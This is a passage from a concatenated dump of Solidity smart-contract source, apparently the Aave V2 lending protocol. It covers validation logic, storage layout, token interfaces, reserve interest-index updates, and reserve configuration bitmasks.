Errors.VL_NO_DEBT_OF_SELECTED_TYPE
);
require(
amountSent != uint256(-1) || msg.sender == onBehalfOf,
Errors.VL_NO_EXPLICIT_AMOUNT_TO_REPAY_ON_BEHALF
);
}
/**
* @dev Validates a swap of borrow rate mode.
* @param reserve The reserve state on which the user is swapping the rate
* @param userConfig The user reserves configuration
* @param stableDebt The stable debt of the user
* @param variableDebt The variable debt of the user
* @param currentRateMode The rate mode of the borrow
*/
function validateSwapRateMode(
DataTypes.ReserveData storage reserve,
DataTypes.UserConfigurationMap storage userConfig,
uint256 stableDebt,
uint256 variableDebt,
DataTypes.InterestRateMode currentRateMode
) external view {
(bool isActive, bool isFrozen, , bool stableRateEnabled) = reserve.configuration.getFlags();
require(isActive, Errors.VL_NO_ACTIVE_RESERVE);
require(!isFrozen, Errors.VL_RESERVE_FROZEN);
if (currentRateMode == DataTypes.InterestRateMode.STABLE) {
require(stableDebt > 0, Errors.VL_NO_STABLE_RATE_LOAN_IN_RESERVE);
} else if (currentRateMode == DataTypes.InterestRateMode.VARIABLE) {
require(variableDebt > 0, Errors.VL_NO_VARIABLE_RATE_LOAN_IN_RESERVE);
/**
* user wants to swap to stable, before swapping we need to ensure that
* 1. stable borrow rate is enabled on the reserve
* 2. user is not trying to abuse the reserve by depositing
* more collateral than he is borrowing, artificially lowering
* the interest rate, borrowing at variable, and switching to stable
**/
require(stableRateEnabled, Errors.VL_STABLE_BORROWING_NOT_ENABLED);
require(
!userConfig.isUsingAsCollateral(reserve.id) ||
reserve.configuration.getLtv() == 0 ||
stableDebt.add(variableDebt) > IERC20(reserve.aTokenAddress).balanceOf(msg.sender),
Errors.VL_COLLATERAL_SAME_AS_BORROWING_CURRENCY
);
} else {
revert(Errors.VL_INVALID_INTEREST_RATE_MODE_SELECTED);
}
}
/**
* @dev Validates a stable borrow rate rebalance action
* @param reserve The reserve state on which the user is getting rebalanced
* @param reserveAddress The address of the reserve
* @param stableDebtToken The stable debt token instance
* @param variableDebtToken The variable debt token instance
* @param aTokenAddress The address of the aToken contract
*/
function validateRebalanceStableBorrowRate(
DataTypes.ReserveData storage reserve,
address reserveAddress,
IERC20 stableDebtToken,
IERC20 variableDebtToken,
address aTokenAddress
) external view {
(bool isActive, , , ) = reserve.configuration.getFlags();
require(isActive, Errors.VL_NO_ACTIVE_RESERVE);
//if the usage ratio is below 95%, no rebalances are needed
uint256 totalDebt =
stableDebtToken.totalSupply().add(variableDebtToken.totalSupply()).wadToRay();
uint256 availableLiquidity = IERC20(reserveAddress).balanceOf(aTokenAddress).wadToRay();
uint256 usageRatio = totalDebt == 0 ? 0 : totalDebt.rayDiv(availableLiquidity.add(totalDebt));
//if the liquidity rate is below REBALANCE_UP_THRESHOLD of the max variable APR at 95% usage,
//then we allow rebalancing of the stable rate positions.
uint256 currentLiquidityRate = reserve.currentLiquidityRate;
uint256 maxVariableBorrowRate =
IReserveInterestRateStrategy(reserve.interestRateStrategyAddress).getMaxVariableBorrowRate();
require(
usageRatio >= REBALANCE_UP_USAGE_RATIO_THRESHOLD &&
currentLiquidityRate <=
maxVariableBorrowRate.percentMul(REBALANCE_UP_LIQUIDITY_RATE_THRESHOLD),
Errors.LP_INTEREST_RATE_REBALANCE_CONDITIONS_NOT_MET
);
}
/**
* @dev Validates the action of setting an asset as collateral
* @param reserve The state of the reserve that the user is enabling or disabling as collateral
* @param reserveAddress The address of the reserve
* @param reservesData The data of all the reserves
* @param userConfig The state of the user for the specific reserve
* @param reserves The addresses of all the active reserves
* @param oracle The price oracle
*/
function validateSetUseReserveAsCollateral(
DataTypes.ReserveData storage reserve,
address reserveAddress,
bool useAsCollateral,
mapping(address => DataTypes.ReserveData) storage reservesData,
DataTypes.UserConfigurationMap storage userConfig,
mapping(uint256 => address) storage reserves,
uint256 reservesCount,
address oracle
) external view {
uint256 underlyingBalance = IERC20(reserve.aTokenAddress).balanceOf(msg.sender);
require(underlyingBalance > 0, Errors.VL_UNDERLYING_BALANCE_NOT_GREATER_THAN_0);
require(
useAsCollateral ||
GenericLogic.balanceDecreaseAllowed(
reserveAddress,
msg.sender,
underlyingBalance,
reservesData,
userConfig,
reserves,
reservesCount,
oracle
),
Errors.VL_DEPOSIT_ALREADY_IN_USE
);
}
/**
* @dev Validates a flashloan action
* @param assets The assets being flashborrowed
* @param amounts The amounts for each asset being borrowed
**/
function validateFlashloan(address[] memory assets, uint256[] memory amounts) internal pure {
require(assets.length == amounts.length, Errors.VL_INCONSISTENT_FLASHLOAN_PARAMS);
}
/**
* @dev Validates the liquidation action
* @param collateralReserve The reserve data of the collateral
* @param principalReserve The reserve data of the principal
* @param userConfig The user configuration
* @param userHealthFactor The user's health factor
* @param userStableDebt Total stable debt balance of the user
* @param userVariableDebt Total variable debt balance of the user
**/
function validateLiquidationCall(
DataTypes.ReserveData storage collateralReserve,
DataTypes.ReserveData storage principalReserve,
DataTypes.UserConfigurationMap storage userConfig,
uint256 userHealthFactor,
uint256 userStableDebt,
uint256 userVariableDebt
) internal view returns (uint256, string memory) {
if (
!collateralReserve.configuration.getActive() || !principalReserve.configuration.getActive()
) {
return (
uint256(Errors.CollateralManagerErrors.NO_ACTIVE_RESERVE),
Errors.VL_NO_ACTIVE_RESERVE
);
}
if (userHealthFactor >= GenericLogic.HEALTH_FACTOR_LIQUIDATION_THRESHOLD) {
return (
uint256(Errors.CollateralManagerErrors.HEALTH_FACTOR_ABOVE_THRESHOLD),
Errors.LPCM_HEALTH_FACTOR_NOT_BELOW_THRESHOLD
);
}
bool isCollateralEnabled =
collateralReserve.configuration.getLiquidationThreshold() > 0 &&
userConfig.isUsingAsCollateral(collateralReserve.id);
//if collateral isn't enabled as collateral by user, it cannot be liquidated
if (!isCollateralEnabled) {
return (
uint256(Errors.CollateralManagerErrors.COLLATERAL_CANNOT_BE_LIQUIDATED),
Errors.LPCM_COLLATERAL_CANNOT_BE_LIQUIDATED
);
}
if (userStableDebt == 0 && userVariableDebt == 0) {
return (
uint256(Errors.CollateralManagerErrors.CURRRENCY_NOT_BORROWED),
Errors.LPCM_SPECIFIED_CURRENCY_NOT_BORROWED_BY_USER
);
}
return (uint256(Errors.CollateralManagerErrors.NO_ERROR), Errors.LPCM_NO_ERRORS);
}
/**
* @dev Validates an aToken transfer
* @param from The user from which the aTokens are being transferred
* @param reservesData The state of all the reserves
* @param userConfig The state of the user for the specific reserve
* @param reserves The addresses of all the active reserves
* @param oracle The price oracle
*/
function validateTransfer(
address from,
mapping(address => DataTypes.ReserveData) storage reservesData,
DataTypes.UserConfigurationMap storage userConfig,
mapping(uint256 => address) storage reserves,
uint256 reservesCount,
address oracle
) internal view {
(, , , , uint256 healthFactor) =
GenericLogic.calculateUserAccountData(
from,
reservesData,
userConfig,
reserves,
reservesCount,
oracle
);
require(
healthFactor >= GenericLogic.HEALTH_FACTOR_LIQUIDATION_THRESHOLD,
Errors.VL_TRANSFER_NOT_ALLOWED
);
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
import {UserConfiguration} from '../libraries/configuration/UserConfiguration.sol';
import {ReserveConfiguration} from '../libraries/configuration/ReserveConfiguration.sol';
import {ReserveLogic} from '../libraries/logic/ReserveLogic.sol';
import {ILendingPoolAddressesProvider} from '../../interfaces/ILendingPoolAddressesProvider.sol';
import {DataTypes} from '../libraries/types/DataTypes.sol';
contract LendingPoolStorage {
using ReserveLogic for DataTypes.ReserveData;
using ReserveConfiguration for DataTypes.ReserveConfigurationMap;
using UserConfiguration for DataTypes.UserConfigurationMap;
ILendingPoolAddressesProvider internal _addressesProvider;
mapping(address => DataTypes.ReserveData) internal _reserves;
mapping(address => DataTypes.UserConfigurationMap) internal _usersConfig;
// the list of the available reserves, structured as a mapping for gas savings reasons
mapping(uint256 => address) internal _reservesList;
uint256 internal _reservesCount;
bool internal _paused;
uint256 internal _maxStableRateBorrowSizePercent;
uint256 internal _flashLoanPremiumTotal;
uint256 internal _maxNumberOfReserves;
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
interface IScaledBalanceToken {
/**
* @dev Returns the scaled balance of the user. The scaled balance is the sum of all the
* updated stored balance divided by the reserve's liquidity index at the moment of the update
* @param user The user whose balance is calculated
* @return The scaled balance of the user
**/
function scaledBalanceOf(address user) external view returns (uint256);
/**
* @dev Returns the scaled balance of the user and the scaled total supply.
* @param user The address of the user
* @return The scaled balance of the user
* @return The scaled balance and the scaled total supply
**/
function getScaledUserBalanceAndSupply(address user) external view returns (uint256, uint256);
/**
* @dev Returns the scaled total supply of the variable debt token. Represents sum(debt/index)
* @return The scaled total supply
**/
function scaledTotalSupply() external view returns (uint256);
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
import {ILendingPool} from './ILendingPool.sol';
import {IAaveIncentivesController} from './IAaveIncentivesController.sol';
/**
* @title IInitializableAToken
* @notice Interface for the initialize function on AToken
* @author Aave
**/
interface IInitializableAToken {
/**
* @dev Emitted when an aToken is initialized
* @param underlyingAsset The address of the underlying asset
* @param pool The address of the associated lending pool
* @param treasury The address of the treasury
* @param incentivesController The address of the incentives controller for this aToken
* @param aTokenDecimals the decimals of the underlying
* @param aTokenName the name of the aToken
* @param aTokenSymbol the symbol of the aToken
* @param params A set of encoded parameters for additional initialization
**/
event Initialized(
address indexed underlyingAsset,
address indexed pool,
address treasury,
address incentivesController,
uint8 aTokenDecimals,
string aTokenName,
string aTokenSymbol,
bytes params
);
/**
* @dev Initializes the aToken
* @param pool The address of the lending pool where this aToken will be used
* @param treasury The address of the Aave treasury, receiving the fees on this aToken
* @param underlyingAsset The address of the underlying asset of this aToken (E.g. WETH for aWETH)
* @param incentivesController The smart contract managing potential incentives distribution
* @param aTokenDecimals The decimals of the aToken, same as the underlying asset's
* @param aTokenName The name of the aToken
* @param aTokenSymbol The symbol of the aToken
*/
function initialize(
ILendingPool pool,
address treasury,
address underlyingAsset,
IAaveIncentivesController incentivesController,
uint8 aTokenDecimals,
string calldata aTokenName,
string calldata aTokenSymbol,
bytes calldata params
) external;
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
interface IAaveIncentivesController {
function handleAction(
address user,
uint256 userBalance,
uint256 totalSupply
) external;
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
import {ILendingPool} from './ILendingPool.sol';
import {IAaveIncentivesController} from './IAaveIncentivesController.sol';
/**
* @title IInitializableDebtToken
* @notice Interface for the initialize function common between debt tokens
* @author Aave
**/
interface IInitializableDebtToken {
/**
* @dev Emitted when a debt token is initialized
* @param underlyingAsset The address of the underlying asset
* @param pool The address of the associated lending pool
* @param incentivesController The address of the incentives controller for this aToken
* @param debtTokenDecimals the decimals of the debt token
* @param debtTokenName the name of the debt token
* @param debtTokenSymbol the symbol of the debt token
* @param params A set of encoded parameters for additional initialization
**/
event Initialized(
address indexed underlyingAsset,
address indexed pool,
address incentivesController,
uint8 debtTokenDecimals,
string debtTokenName,
string debtTokenSymbol,
bytes params
);
/**
* @dev Initializes the debt token.
* @param pool The address of the lending pool where this aToken will be used
* @param underlyingAsset The address of the underlying asset of this aToken (E.g. WETH for aWETH)
* @param incentivesController The smart contract managing potential incentives distribution
* @param debtTokenDecimals The decimals of the debtToken, same as the underlying asset's
* @param debtTokenName The name of the token
* @param debtTokenSymbol The symbol of the token
*/
function initialize(
ILendingPool pool,
address underlyingAsset,
IAaveIncentivesController incentivesController,
uint8 debtTokenDecimals,
string memory debtTokenName,
string memory debtTokenSymbol,
bytes calldata params
) external;
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
import {SafeMath} from '../../../dependencies/openzeppelin/contracts/SafeMath.sol';
import {IERC20} from '../../../dependencies/openzeppelin/contracts/IERC20.sol';
import {SafeERC20} from '../../../dependencies/openzeppelin/contracts/SafeERC20.sol';
import {IAToken} from '../../../interfaces/IAToken.sol';
import {IStableDebtToken} from '../../../interfaces/IStableDebtToken.sol';
import {IVariableDebtToken} from '../../../interfaces/IVariableDebtToken.sol';
import {IReserveInterestRateStrategy} from '../../../interfaces/IReserveInterestRateStrategy.sol';
import {ReserveConfiguration} from '../configuration/ReserveConfiguration.sol';
import {MathUtils} from '../math/MathUtils.sol';
import {WadRayMath} from '../math/WadRayMath.sol';
import {PercentageMath} from '../math/PercentageMath.sol';
import {Errors} from '../helpers/Errors.sol';
import {DataTypes} from '../types/DataTypes.sol';
/**
* @title ReserveLogic library
* @author Aave
* @notice Implements the logic to update the reserves state
*/
library ReserveLogic {
using SafeMath for uint256;
using WadRayMath for uint256;
using PercentageMath for uint256;
using SafeERC20 for IERC20;
/**
* @dev Emitted when the state of a reserve is updated
* @param asset The address of the underlying asset of the reserve
* @param liquidityRate The new liquidity rate
* @param stableBorrowRate The new stable borrow rate
* @param variableBorrowRate The new variable borrow rate
* @param liquidityIndex The new liquidity index
* @param variableBorrowIndex The new variable borrow index
**/
event ReserveDataUpdated(
address indexed asset,
uint256 liquidityRate,
uint256 stableBorrowRate,
uint256 variableBorrowRate,
uint256 liquidityIndex,
uint256 variableBorrowIndex
);
using ReserveLogic for DataTypes.ReserveData;
using ReserveConfiguration for DataTypes.ReserveConfigurationMap;
/**
* @dev Returns the ongoing normalized income for the reserve
* A value of 1e27 means there is no income. As time passes, the income is accrued
* A value of 2*1e27 means for each unit of asset one unit of income has been accrued
* @param reserve The reserve object
* @return the normalized income. expressed in ray
**/
function getNormalizedIncome(DataTypes.ReserveData storage reserve)
internal
view
returns (uint256)
{
uint40 timestamp = reserve.lastUpdateTimestamp;
//solium-disable-next-line
if (timestamp == uint40(block.timestamp)) {
//if the index was updated in the same block, no need to perform any calculation
return reserve.liquidityIndex;
}
uint256 cumulated =
MathUtils.calculateLinearInterest(reserve.currentLiquidityRate, timestamp).rayMul(
reserve.liquidityIndex
);
return cumulated;
}
/**
* @dev Returns the ongoing normalized variable debt for the reserve
* A value of 1e27 means there is no debt. As time passes, the income is accrued
* A value of 2*1e27 means that for each unit of debt, one unit worth of interest has been accumulated
* @param reserve The reserve object
* @return The normalized variable debt. expressed in ray
**/
function getNormalizedDebt(DataTypes.ReserveData storage reserve)
internal
view
returns (uint256)
{
uint40 timestamp = reserve.lastUpdateTimestamp;
//solium-disable-next-line
if (timestamp == uint40(block.timestamp)) {
//if the index was updated in the same block, no need to perform any calculation
return reserve.variableBorrowIndex;
}
uint256 cumulated =
MathUtils.calculateCompoundedInterest(reserve.currentVariableBorrowRate, timestamp).rayMul(
reserve.variableBorrowIndex
);
return cumulated;
}
/**
* @dev Updates the liquidity cumulative index and the variable borrow index.
* @param reserve the reserve object
**/
function updateState(DataTypes.ReserveData storage reserve) internal {
uint256 scaledVariableDebt =
IVariableDebtToken(reserve.variableDebtTokenAddress).scaledTotalSupply();
uint256 previousVariableBorrowIndex = reserve.variableBorrowIndex;
uint256 previousLiquidityIndex = reserve.liquidityIndex;
uint40 lastUpdatedTimestamp = reserve.lastUpdateTimestamp;
(uint256 newLiquidityIndex, uint256 newVariableBorrowIndex) =
_updateIndexes(
reserve,
scaledVariableDebt,
previousLiquidityIndex,
previousVariableBorrowIndex,
lastUpdatedTimestamp
);
_mintToTreasury(
reserve,
scaledVariableDebt,
previousVariableBorrowIndex,
newLiquidityIndex,
newVariableBorrowIndex,
lastUpdatedTimestamp
);
}
/**
* @dev Accumulates a predefined amount of asset to the reserve as a fixed, instantaneous income. Used for example to accumulate
* the flashloan fee to the reserve, and spread it between all the depositors
* @param reserve The reserve object
* @param totalLiquidity The total liquidity available in the reserve
* @param amount The amount to accomulate
**/
function cumulateToLiquidityIndex(
DataTypes.ReserveData storage reserve,
uint256 totalLiquidity,
uint256 amount
) internal {
uint256 amountToLiquidityRatio = amount.wadToRay().rayDiv(totalLiquidity.wadToRay());
uint256 result = amountToLiquidityRatio.add(WadRayMath.ray());
result = result.rayMul(reserve.liquidityIndex);
require(result <= type(uint128).max, Errors.RL_LIQUIDITY_INDEX_OVERFLOW);
reserve.liquidityIndex = uint128(result);
}
/**
* @dev Initializes a reserve
* @param reserve The reserve object
* @param aTokenAddress The address of the overlying atoken contract
* @param interestRateStrategyAddress The address of the interest rate strategy contract
**/
function init(
DataTypes.ReserveData storage reserve,
address aTokenAddress,
address stableDebtTokenAddress,
address variableDebtTokenAddress,
address interestRateStrategyAddress
) external {
require(reserve.aTokenAddress == address(0), Errors.RL_RESERVE_ALREADY_INITIALIZED);
reserve.liquidityIndex = uint128(WadRayMath.ray());
reserve.variableBorrowIndex = uint128(WadRayMath.ray());
reserve.aTokenAddress = aTokenAddress;
reserve.stableDebtTokenAddress = stableDebtTokenAddress;
reserve.variableDebtTokenAddress = variableDebtTokenAddress;
reserve.interestRateStrategyAddress = interestRateStrategyAddress;
}
struct UpdateInterestRatesLocalVars {
address stableDebtTokenAddress;
uint256 availableLiquidity;
uint256 totalStableDebt;
uint256 newLiquidityRate;
uint256 newStableRate;
uint256 newVariableRate;
uint256 avgStableRate;
uint256 totalVariableDebt;
}
/**
* @dev Updates the reserve current stable borrow rate, the current variable borrow rate and the current liquidity rate
* @param reserve The address of the reserve to be updated
* @param liquidityAdded The amount of liquidity added to the protocol (deposit or repay) in the previous action
* @param liquidityTaken The amount of liquidity taken from the protocol (redeem or borrow)
**/
function updateInterestRates(
DataTypes.ReserveData storage reserve,
address reserveAddress,
address aTokenAddress,
uint256 liquidityAdded,
uint256 liquidityTaken
) internal {
UpdateInterestRatesLocalVars memory vars;
vars.stableDebtTokenAddress = reserve.stableDebtTokenAddress;
(vars.totalStableDebt, vars.avgStableRate) = IStableDebtToken(vars.stableDebtTokenAddress)
.getTotalSupplyAndAvgRate();
//calculates the total variable debt locally using the scaled total supply instead
//of totalSupply(), as it's noticeably cheaper. Also, the index has been
//updated by the previous updateState() call
vars.totalVariableDebt = IVariableDebtToken(reserve.variableDebtTokenAddress)
.scaledTotalSupply()
.rayMul(reserve.variableBorrowIndex);
(
vars.newLiquidityRate,
vars.newStableRate,
vars.newVariableRate
) = IReserveInterestRateStrategy(reserve.interestRateStrategyAddress).calculateInterestRates(
reserveAddress,
aTokenAddress,
liquidityAdded,
liquidityTaken,
vars.totalStableDebt,
vars.totalVariableDebt,
vars.avgStableRate,
reserve.configuration.getReserveFactor()
);
require(vars.newLiquidityRate <= type(uint128).max, Errors.RL_LIQUIDITY_RATE_OVERFLOW);
require(vars.newStableRate <= type(uint128).max, Errors.RL_STABLE_BORROW_RATE_OVERFLOW);
require(vars.newVariableRate <= type(uint128).max, Errors.RL_VARIABLE_BORROW_RATE_OVERFLOW);
reserve.currentLiquidityRate = uint128(vars.newLiquidityRate);
reserve.currentStableBorrowRate = uint128(vars.newStableRate);
reserve.currentVariableBorrowRate = uint128(vars.newVariableRate);
emit ReserveDataUpdated(
reserveAddress,
vars.newLiquidityRate,
vars.newStableRate,
vars.newVariableRate,
reserve.liquidityIndex,
reserve.variableBorrowIndex
);
}
struct MintToTreasuryLocalVars {
uint256 currentStableDebt;
uint256 principalStableDebt;
uint256 previousStableDebt;
uint256 currentVariableDebt;
uint256 previousVariableDebt;
uint256 avgStableRate;
uint256 cumulatedStableInterest;
uint256 totalDebtAccrued;
uint256 amountToMint;
uint256 reserveFactor;
uint40 stableSupplyUpdatedTimestamp;
}
/**
* @dev Mints part of the repaid interest to the reserve treasury as a function of the reserveFactor for the
* specific asset.
* @param reserve The reserve reserve to be updated
* @param scaledVariableDebt The current scaled total variable debt
* @param previousVariableBorrowIndex The variable borrow index before the last accumulation of the interest
* @param newLiquidityIndex The new liquidity index
* @param newVariableBorrowIndex The variable borrow index after the last accumulation of the interest
**/
function _mintToTreasury(
DataTypes.ReserveData storage reserve,
uint256 scaledVariableDebt,
uint256 previousVariableBorrowIndex,
uint256 newLiquidityIndex,
uint256 newVariableBorrowIndex,
uint40 timestamp
) internal {
MintToTreasuryLocalVars memory vars;
vars.reserveFactor = reserve.configuration.getReserveFactor();
if (vars.reserveFactor == 0) {
return;
}
//fetching the principal, total stable debt and the avg stable rate
(
vars.principalStableDebt,
vars.currentStableDebt,
vars.avgStableRate,
vars.stableSupplyUpdatedTimestamp
) = IStableDebtToken(reserve.stableDebtTokenAddress).getSupplyData();
//calculate the last principal variable debt
vars.previousVariableDebt = scaledVariableDebt.rayMul(previousVariableBorrowIndex);
//calculate the new total supply after accumulation of the index
vars.currentVariableDebt = scaledVariableDebt.rayMul(newVariableBorrowIndex);
//calculate the stable debt until the last timestamp update
vars.cumulatedStableInterest = MathUtils.calculateCompoundedInterest(
vars.avgStableRate,
vars.stableSupplyUpdatedTimestamp,
timestamp
);
vars.previousStableDebt = vars.principalStableDebt.rayMul(vars.cumulatedStableInterest);
//debt accrued is the sum of the current debt minus the sum of the debt at the last update
vars.totalDebtAccrued = vars
.currentVariableDebt
.add(vars.currentStableDebt)
.sub(vars.previousVariableDebt)
.sub(vars.previousStableDebt);
vars.amountToMint = vars.totalDebtAccrued.percentMul(vars.reserveFactor);
if (vars.amountToMint != 0) {
IAToken(reserve.aTokenAddress).mintToTreasury(vars.amountToMint, newLiquidityIndex);
}
}
/**
* @dev Updates the reserve indexes and the timestamp of the update
* @param reserve The reserve reserve to be updated
* @param scaledVariableDebt The scaled variable debt
* @param liquidityIndex The last stored liquidity index
* @param variableBorrowIndex The last stored variable borrow index
**/
function _updateIndexes(
DataTypes.ReserveData storage reserve,
uint256 scaledVariableDebt,
uint256 liquidityIndex,
uint256 variableBorrowIndex,
uint40 timestamp
) internal returns (uint256, uint256) {
uint256 currentLiquidityRate = reserve.currentLiquidityRate;
uint256 newLiquidityIndex = liquidityIndex;
uint256 newVariableBorrowIndex = variableBorrowIndex;
//only cumulating if there is any income being produced
if (currentLiquidityRate > 0) {
uint256 cumulatedLiquidityInterest =
MathUtils.calculateLinearInterest(currentLiquidityRate, timestamp);
newLiquidityIndex = cumulatedLiquidityInterest.rayMul(liquidityIndex);
require(newLiquidityIndex <= type(uint128).max, Errors.RL_LIQUIDITY_INDEX_OVERFLOW);
reserve.liquidityIndex = uint128(newLiquidityIndex);
//as the liquidity rate might come only from stable rate loans, we need to ensure
//that there is actual variable debt before accumulating
if (scaledVariableDebt != 0) {
uint256 cumulatedVariableBorrowInterest =
MathUtils.calculateCompoundedInterest(reserve.currentVariableBorrowRate, timestamp);
newVariableBorrowIndex = cumulatedVariableBorrowInterest.rayMul(variableBorrowIndex);
require(
newVariableBorrowIndex <= type(uint128).max,
Errors.RL_VARIABLE_BORROW_INDEX_OVERFLOW
);
reserve.variableBorrowIndex = uint128(newVariableBorrowIndex);
}
}
//solium-disable-next-line
reserve.lastUpdateTimestamp = uint40(block.timestamp);
return (newLiquidityIndex, newVariableBorrowIndex);
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
import {Errors} from '../helpers/Errors.sol';
import {DataTypes} from '../types/DataTypes.sol';
/**
* @title ReserveConfiguration library
* @author Aave
* @notice Implements the bitmap logic to handle the reserve configuration
*/
library ReserveConfiguration {
uint256 constant LTV_MASK = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF0000; // prettier-ignore
uint256 constant LIQUIDATION_THRESHOLD_MASK = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF0000FFFF; // prettier-ignore
uint256 constant LIQUIDATION_BONUS_MASK = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF0000FFFFFFFF; // prettier-ignore
uint256 constant DECIMALS_MASK = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00FFFFFFFFFFFF; // prettier-ignore
uint256 constant ACTIVE_MASK = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFFFFFFFFFF; // prettier-ignore
uint256 constant FROZEN_MASK = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDFFFFFFFFFFFFFF; // prettier-ignore
uint256 constant BORROWING_MASK = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBFFFFFFFFFFFFFF; // prettier-ignore
uint256 constant STABLE_BORROWING_MASK = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7FFFFFFFFFFFFFF; // prettier-ignore
uint256 constant RESERVE_FACTOR_MASK = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF0000FFFFFFFFFFFFFFFF; // prettier-ignore
/// @dev For the LTV, the start bit is 0 (up to 15), hence no bitshifting is needed
uint256 constant LIQUIDATION_THRESHOLD_START_BIT_POSITION = 16;
uint256 constant LIQUIDATION_BONUS_START_BIT_POSITION = 32;
uint256 constant RESERVE_DECIMALS_START_BIT_POSITION = 48;
uint256 constant IS_ACTIVE_START_BIT_POSITION = 56;
uint256 constant IS_FROZEN_START_BIT_POSITION = 57;
uint256 constant BORROWING_ENABLED_START_BIT_POSITION = 58;
uint256 constant STABLE_BORROWING_ENABLED_START_BIT_POSITION = 59;
uint256 constant RESERVE_FACTOR_START_BIT_POSITION = 64;
uint256 constant MAX_VALID_LTV = 65535;
uint256 constant MAX_VALID_LIQUIDATION_THRESHOLD = 65535;
uint256 constant MAX_VALID_LIQUIDATION_BONUS = 65535;
uint256 constant MAX_VALID_DECIMALS = 255;
uint256 constant MAX_VALID_RESERVE_FACTOR = 65535;
/**
* @dev Sets the Loan to Value of the reserve
* @param self The reserve configuration
* @param ltv the new ltv
**/
function setLtv(DataTypes.ReserveConfigurationMap memory self, uint256 ltv) internal pure {
require(ltv <= MAX_VALID_LTV, Errors.RC_INVALID_LTV);
self.data = (self.data & LTV_MASK) | ltv;
}
/**
* @dev Gets the Loan to Value of the reserve
* @param self The reserve configuration
* @return The loan to value
**/
function getLtv(DataTypes.ReserveConfigurationMap storage self) internal view returns (uint256) {
return self.data & ~LTV_MASK;
}
/**
* @dev Sets the liquidation threshold of the reserve
* @param self The reserve configuration
* @param threshold The new liquidation threshold
**/
function setLiquidationThreshold(DataTypes.ReserveConfigurationMap memory self, uint256 threshold)
internal
pure
{
require(threshold <= MAX_VALID_LIQUIDATION_THRESHOLD, Errors.RC_INVALID_LIQ_THRESHOLD);
self.data =
(self.data & LIQUIDATION_THRESHOLD_MASK) |
(threshold << LIQUIDATION_THRESHOLD_START_BIT_POSITION);
}
/**
* @dev Gets the liquidation threshold of the reserve
* @param self The reserve configuration
* @return The liquidation threshold
**/
function getLiquidationThreshold(DataTypes.ReserveConfigurationMap storage self)
internal
view
returns (uint256)
{
return (self.data & ~LIQUIDATION_THRESHOLD_MASK) >> LIQUIDATION_THRESHOLD_START_BIT_POSITION;
}
/**
* @dev Sets the liquidation bonus of the reserve
* @param self The reserve configuration
* @param bonus The new liquidation bonus
**/
function setLiquidationBonus(DataTypes.ReserveConfigurationMap memory self, uint256 bonus)
internal
pure
{
require(bonus <= MAX_VALID_LIQUIDATION_BONUS, Errors.RC_INVALID_LIQ_BONUS);
self.data =
(self.data & LIQUIDATION_BONUS_MASK) |
(bonus << LIQUIDATION_BONUS_START_BIT_POSITION);
}
/**
* @dev Gets the liquidation bonus of the reserve
* @param self The reserve configuration
* @return The liquidation bonus
**/
function getLiquidationBonus(DataTypes.ReserveConfigurationMap storage self)
internal
view
returns (uint256)
{
return (self.data & ~LIQUIDATION_BONUS_MASK) >> LIQUIDATION_BONUS_START_BIT_POSITION;
}
/**
* @dev Sets the decimals of the underlying asset of the reserve
* @param self The reserve configuration
* @param decimals The decimals
**/
function setDecimals(DataTypes.ReserveConfigurationMap memory self, uint256 decimals)
internal
pure
{
require(decimals <= MAX_VALID_DECIMALS, Errors.RC_INVALID_DECIMALS);
self.data = (self.data & DECIMALS_MASK) | (decimals << RESERVE_DECIMALS_START_BIT_POSITION);
}
/**
* @dev Gets the decimals of the underlying asset of the reserve
* @param self The reserve configuration
* @return The decimals of the asset
**/
function getDecimals(DataTypes.ReserveConfigurationMap storage self)
internal
view
returns (uint256)
{
return (self.data & ~DECIMALS_MASK) >> RESERVE_DECIMALS_START_BIT_POSITION;
}
/**
* @dev Sets the active state of the reserve
* @param self The reserve configuration
* @param active The active state
**/
function setActive(DataTypes.ReserveConfigurationMap memory self, bool active) internal pure {
self.data =
(self.data & ACTIVE_MASK) |
(uint256(active ? 1 : 0) << IS_ACTIVE_START_BIT_POSITION);
}
/**
* @dev Gets the active state of the reserve
* @param self The reserve configuration
* @return The active state
**/
function getActive(DataTypes.ReserveConfigurationMap storage self) internal view returns (bool) {
return (self.data & ~ACTIVE_MASK) != 0;
}
/**
* @dev Sets the frozen state of the reserve
* @param self The reserve configuration
* @param frozen The frozen state
**/
function setFrozen(DataTypes.ReserveConfigurationMap memory self, bool frozen) internal pure {
self.data =
(self.data & FROZEN_MASK) |
(uint256(frozen ? 1 : 0) << IS_FROZEN_START_BIT_POSITION);
}
/**
* @dev Gets the frozen state of the reserve
* @param self The reserve configuration
* @return The frozen state
**/
function getFrozen(DataTypes.ReserveConfigurationMap storage self) internal view returns (bool) {
return (self.data & ~FROZEN_MASK) != 0;
}
/**
* @dev Enables or disables borrowing on the reserve
* @param self The reserve configuration
* @param enabled True if the borrowing needs to be enabled, false otherwise
**/
function setBorrowingEnabled(DataTypes.ReserveConfigurationMap memory self, bool enabled)
internal
pure
{
self.data =
(self.data & BORROWING_MASK) |
(uint256(enabled ? 1 : 0) << BORROWING_ENABLED_START_BIT_POSITION);
}
/**
* @dev Gets the borrowing state of the reserve
* @param self The reserve configuration
